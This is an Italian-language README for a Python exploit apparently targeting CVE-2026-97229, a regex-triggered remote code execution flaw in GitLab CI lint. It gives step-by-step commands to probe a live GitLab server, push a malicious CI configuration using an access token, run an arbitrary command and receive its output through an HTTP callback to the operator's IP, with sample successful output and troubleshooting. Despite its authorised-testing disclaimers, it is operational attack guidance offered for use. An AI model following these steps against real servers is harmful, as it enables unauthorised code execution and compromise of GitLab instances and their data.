
Exploit in Python per CVE-2026-97229, un RCE tramite regex nel lint di GitLab CI. Crea un progetto, esegue il push di una configurazione CI malevola, attiva l'endpoint di lint e recupera l'output del comando tramite callback HTTP.
CVE-2026-97229 è un exploit esterno per RCE tramite regex nel lint di GitLab CI. Viene utilizzato solo contro un target GitLab attivo e con autorizzazione. Crea un progetto, esegue il push di una configurazione CI malevola, attiva l'endpoint di lint della CI e riceve l'output dei comandi tramite un callback HTTP. Questo è esclusivamente per ricerca di sicurezza autorizzata.
CVE-2026-97229 External - usalo sotto la tua responsabilità e solo per test legali
##Solo per uso di ricerca. Usalo solo sui tuoi sistemi o su sistemi per cui disponi di autorizzazione scritta.
Questo strumento è destinato esclusivamente a un target GitLab attivo. Non funzionerà su un target non attivo, un backup o un host irraggiungibile.
Requisiti
Salva il file
Salva il codice dell'exploit come:
cve97229_ext.py
Crea il file di scope
Se il tuo target è:
https://gitlab.example.local
Crea scope.txt:
echo "gitlab.example.local" > scope.txt
Passo 1 - Verifica il target
Esegui:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "GITLAB_TOKEN"
Esempio:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "glpat-AbCdEf1234567890"
Risultato positivo:
"gitlab_signal": true
Se la versione è visibile, potresti vedere:
"version": "19.4.0"
Passo 2 - Esegui contro il target attivo
Esegui:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "GITLAB_TOKEN" --callback-host YOUR_IP --callback-port 8000 --command "id"
Esempio:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "glpat-AbCdEf1234567890" --callback-host 192.168.1.50 --callback-port 8000 --command "id"
Sostituisci:
GITLAB_TOKEN = il tuo token GitLab
YOUR_IP = l'IP della tua macchina che il target può raggiungere
Risultato
Se ha successo, vedrai:
"status": "RCE"
e un output simile a:
"output": "uid=998(git) gid=998(git) groups=998(git)"
Problemi comuni
out-of-scope:
Correggi scope.txt.
no-write-path:
Token mancante o non valido.
known-patched:
La versione del target è corretta.
no-callback:
Il target non è riuscito a connettersi a te.
Controlla YOUR_IP, il firewall e l'accesso di rete.
Importante
Il target deve essere attivo e raggiungibile.